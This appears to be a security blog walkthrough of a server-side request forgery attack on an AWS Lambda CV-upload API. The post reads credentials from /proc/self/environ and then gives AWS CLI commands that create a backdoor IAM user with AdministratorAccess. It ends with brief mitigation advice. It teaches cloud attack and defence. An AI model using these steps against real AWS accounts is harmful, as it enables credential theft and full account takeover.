Server-side request forgery (SSRF) attack is used for abusing functionality on the server to read or update internal resources. The main idea behind an SSRF attack is to manipulate the input parameters of an application that interact with external systems, such as URLs, IP addresses, or file paths. By injecting a special URL that is important for internal systems, an attacker can force an application to access an internal resource that is not intended to be exposed. Besides SSRF is very dangerous for traditional web applications, it’s also a threat for cloud resources. Today, we will see an example SSRF scenario on AWS Lambda and how it can be dangerous for your AWS environment. Let’s start together!

AWS Lambda SSRF Scenario:
1-) Let’s assume that we’ve a sample webpage that we will upload our contents to apply a job opportunity.

2-) We need to review the source code of the page. It includes a request to API Gateway endpoint to upload our CV.

3-) Let’s try to call the same API endpoint on Postman or Burp Suite. This is an expected usage of the API. But we think there is a problem to read the pdf files content because body message is not completed. But we assume the cv file is tried to read (this is a file operation). So, we can try SSRF and get some data if we are lucky. But how can we do this on AWS API Gateway / AWS Lambda?

4-) In AWS Lambda, AWS credentials are stored in environment variables. To get them, you need to access a path like file:///proc/self/environ. We can try:

After we’ve tried with /proc/self/environ, we get lots of details!! Let’s analyze the response.

5-) There are lots of AWS credentials. As you see, we get DB username, password, and hostname but we have also AWS credentials. Let’s extract them and use in an AWS profile.

6-) We’ve created the AWS profile.

7-) You need to use get-caller-identity function to return details about the IAM user or role whose credentials are used to call the operation.

aws sts get-caller-identity — profile <your-profile>

8-) We need to know the policies that are attached to this AWS Lambda role.

aws iam list-attached-role-policies — role-name <role-name> — profile <your-profile>

9-) Yes, we get administrator access! 🤯 We can create an IAM user via AWS CLI.

aws iam create-user — user-name <username> — profile <your-profile>

10-) You should create login profile with password.

aws iam create-login-profile — user-name <username> — password <my-password> — profile <your-profile>

11-) We need to attach administrator policy to this user.

aws iam attach-user-policy — policy-arn arn:aws:iam::aws:policy/AdministratorAccess — user-name <username> — profile <your-profile>

12-) We’ll able to access the account with administrator rights! That’s all! 🤭 🤫

Preventions / Recommendations:

• Validate every input.
• Always follow at least privilege principle in AWS IAM roles.
• Add authentication & authorization to your public API endpoints.
• Blacklist/Prevent Unused URL Schemas (like file://)
• For other details, please see OWASP Cheat Sheet.

Thanks for reading! Stay safe in the cloud! 🤞 ⛅️